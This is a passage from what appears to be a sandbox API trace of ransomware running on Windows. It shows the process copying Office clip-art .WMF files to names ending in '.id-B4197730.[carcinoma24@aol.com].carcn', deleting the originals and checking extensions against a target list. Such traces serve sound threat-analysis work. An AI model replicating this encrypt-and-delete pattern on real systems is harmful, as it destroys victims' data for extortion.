(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0295.828] GetLastError () returned 0x0 [0295.828] ReadFile (in: hFile=0x35c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x60ca, lpOverlapped=0x0) returned 1 [0295.830] WriteFile (in: hFile=0x36c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x60d0, lpOverlapped=0x0) returned 1 [0295.832] ReadFile (in: hFile=0x35c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0295.832] WriteFile (in: hFile=0x36c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0295.832] SetEndOfFile (hFile=0x36c) returned 1 [0295.832] CloseHandle (hObject=0x36c) returned 1 [0295.833] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.833] SetEndOfFile (hFile=0x35c) returned 1 [0295.834] CloseHandle (hObject=0x35c) returned 1 [0295.834] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0295.834] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08773_.wmf")) returned 1 [0295.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0295.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0295.835] lstrlenW (lpString=".doc") returned 4 [0295.835] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.835] lstrlenW (lpString=".docx") returned 5 [0295.835] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.835] lstrlenW (lpString=".pdf") returned 4 [0295.835] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.835] lstrlenW (lpString=".xls") returned 4 [0295.835] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.836] lstrlenW (lpString=".xlsx") returned 5 [0295.836] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.836] lstrlenW (lpString=".ppt") returned 4 [0295.836] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0295.836] lstrlenW (lpString=".zip") returned 4 [0295.836] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.836] lstrlenW (lpString=".rar") returned 4 [0295.836] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.836] lstrlenW (lpString=".bz2") returned 4 [0295.836] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.836] lstrlenW (lpString=".7z") returned 3 [0295.836] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0295.836] lstrlenW (lpString=".dbf") returned 4 [0295.836] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0295.836] lstrlenW (lpString=".1cd") returned 4 [0295.836] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0295.836] lstrlenW (lpString=".jpg") returned 4 [0295.836] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0295.836] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0295.836] lstrlenW (lpString=".doc") returned 4 [0295.836] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.837] lstrlenW (lpString=".docx") returned 5 [0295.837] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.837] lstrlenW (lpString=".pdf") returned 4 [0295.837] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.837] lstrlenW (lpString=".xls") returned 4 [0295.837] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.837] lstrlenW (lpString=".xlsx") returned 5 [0295.837] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.837] lstrlenW (lpString=".ppt") returned 4 [0295.837] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0295.837] lstrlenW (lpString=".zip") returned 4 [0295.837] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.837] lstrlenW (lpString=".rar") returned 4 [0295.837] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.837] lstrlenW (lpString=".bz2") returned 4 [0295.837] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.837] lstrlenW (lpString=".7z") returned 3 [0295.837] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0295.837] lstrlenW (lpString=".dbf") returned 4 [0295.837] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0295.838] lstrlenW (lpString=".1cd") returned 4 [0295.838] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08773_.WMF") returned 68 [0295.838] lstrlenW (lpString=".jpg") returned 4 [0295.838] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.838] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0295.838] lstrlenW (lpString="BD08808_.WMF") returned 12 [0295.838] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0295.839] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=47996) returned 1 [0295.839] CloseHandle (hObject=0x35c) returned 1 [0295.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 0x220 [0295.839] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0295.840] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.840] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0295.841] GetLastError () returned 0x0 [0295.841] ReadFile (in: hFile=0x35c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0xbb7c, lpOverlapped=0x0) returned 1 [0295.843] WriteFile (in: hFile=0x36c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xbb80, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xbb80, lpOverlapped=0x0) returned 1 [0295.845] ReadFile (in: hFile=0x35c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0295.845] WriteFile (in: hFile=0x36c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0295.845] SetEndOfFile (hFile=0x36c) returned 1 [0295.846] CloseHandle (hObject=0x36c) returned 1 [0295.846] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.846] SetEndOfFile (hFile=0x35c) returned 1 [0295.847] CloseHandle (hObject=0x35c) returned 1 [0295.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0295.847] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08808_.wmf")) returned 1 [0295.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0295.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0295.848] lstrlenW (lpString=".doc") returned 4 [0295.848] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.848] lstrlenW (lpString=".docx") returned 5 [0295.848] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.849] lstrlenW (lpString=".pdf") returned 4 [0295.849] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.849] lstrlenW (lpString=".xls") returned 4 [0295.849] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.849] lstrlenW (lpString=".xlsx") returned 5 [0295.849] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.849] lstrlenW (lpString=".ppt") returned 4 [0295.849] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0295.849] lstrlenW (lpString=".zip") returned 4 [0295.849] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.849] lstrlenW (lpString=".rar") returned 4 [0295.849] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.849] lstrlenW (lpString=".bz2") returned 4 [0295.849] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.849] lstrlenW (lpString=".7z") returned 3 [0295.849] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0295.849] lstrlenW (lpString=".dbf") returned 4 [0295.849] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0295.849] lstrlenW (lpString=".1cd") returned 4 [0295.849] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0295.849] lstrlenW (lpString=".jpg") returned 4 [0295.849] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0295.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0295.850] lstrlenW (lpString=".doc") returned 4 [0295.850] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.850] lstrlenW (lpString=".docx") returned 5 [0295.850] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.850] lstrlenW (lpString=".pdf") returned 4 [0295.850] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.850] lstrlenW (lpString=".xls") returned 4 [0295.850] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.850] lstrlenW (lpString=".xlsx") returned 5 [0295.850] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.850] lstrlenW (lpString=".ppt") returned 4 [0295.850] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0295.850] lstrlenW (lpString=".zip") returned 4 [0295.850] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.850] lstrlenW (lpString=".rar") returned 4 [0295.850] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.850] lstrlenW (lpString=".bz2") returned 4 [0295.850] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.850] lstrlenW (lpString=".7z") returned 3 [0295.850] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0295.850] lstrlenW (lpString=".dbf") returned 4 [0295.850] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0295.851] lstrlenW (lpString=".1cd") returned 4 [0295.851] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08808_.WMF") returned 68 [0295.851] lstrlenW (lpString=".jpg") returned 4 [0295.851] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.851] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0295.851] lstrlenW (lpString="BD08868_.WMF") returned 12 [0295.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0295.851] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=40206) returned 1 [0295.852] CloseHandle (hObject=0x35c) returned 1 [0295.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 0x220 [0295.852] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0295.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0295.852] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.852] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0295.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0295.854] GetLastError () returned 0x0 [0295.854] ReadFile (in: hFile=0x35c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x9d0e, lpOverlapped=0x0) returned 1 [0296.290] WriteFile (in: hFile=0x36c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0x9d10, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0x9d10, lpOverlapped=0x0) returned 1 [0296.292] ReadFile (in: hFile=0x35c, lpBuffer=0x3a0e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesRead=0x2ebfecc*=0x0, lpOverlapped=0x0) returned 1 [0296.292] WriteFile (in: hFile=0x36c, lpBuffer=0x3a0e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a0e020*, lpNumberOfBytesWritten=0x2ebfc94*=0xec, lpOverlapped=0x0) returned 1 [0296.292] SetEndOfFile (hFile=0x36c) returned 1 [0296.292] CloseHandle (hObject=0x36c) returned 1 [0296.293] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.293] SetEndOfFile (hFile=0x35c) returned 1 [0296.294] CloseHandle (hObject=0x35c) returned 1 [0296.294] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0296.294] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd08868_.wmf")) returned 1 [0296.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0296.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0296.295] lstrlenW (lpString=".doc") returned 4 [0296.295] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.295] lstrlenW (lpString=".docx") returned 5 [0296.295] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.295] lstrlenW (lpString=".pdf") returned 4 [0296.295] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.295] lstrlenW (lpString=".xls") returned 4 [0296.295] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.295] lstrlenW (lpString=".xlsx") returned 5 [0296.295] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.295] lstrlenW (lpString=".ppt") returned 4 [0296.295] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0296.295] lstrlenW (lpString=".zip") returned 4 [0296.295] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.295] lstrlenW (lpString=".rar") returned 4 [0296.295] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.295] lstrlenW (lpString=".bz2") returned 4 [0296.295] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.295] lstrlenW (lpString=".7z") returned 3 [0296.295] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0296.295] lstrlenW (lpString=".dbf") returned 4 [0296.295] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0296.295] lstrlenW (lpString=".1cd") returned 4 [0296.295] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0296.295] lstrlenW (lpString=".jpg") returned 4 [0296.295] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0296.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0296.295] lstrlenW (lpString=".doc") returned 4 [0296.296] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.296] lstrlenW (lpString=".docx") returned 5 [0296.296] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.296] lstrlenW (lpString=".pdf") returned 4 [0296.296] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.296] lstrlenW (lpString=".xls") returned 4 [0296.296] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.296] lstrlenW (lpString=".xlsx") returned 5 [0296.296] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.296] lstrlenW (lpString=".ppt") returned 4 [0296.296] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0296.296] lstrlenW (lpString=".zip") returned 4 [0296.296] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.296] lstrlenW (lpString=".rar") returned 4 [0296.296] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.296] lstrlenW (lpString=".bz2") returned 4 [0296.296] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.296] lstrlenW (lpString=".7z") returned 3 [0296.296] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0296.296] lstrlenW (lpString=".dbf") returned 4 [0296.296] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0296.296] lstrlenW (lpString=".1cd") returned 4 [0296.296] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD08868_.WMF") returned 68 [0296.296] lstrlenW (lpString=".jpg") returned 4 [0296.296] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.296] lstrcmpiW (lpString1=".WMF", lpString2=".carcn") returned 1 [0296.296] lstrlenW (lpString="BD19986_.WMF") returned 12 [0296.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0296.297] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2ebff14 | out: lpFileSize=0x2ebff14*=14486) returned 1 [0296.297] CloseHandle (hObject=0x35c) returned 1 [0296.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 0x220 [0296.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0296.297] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.297] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec0 | out: lpNewFilePointer=0x0) returned 1 [0296.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), 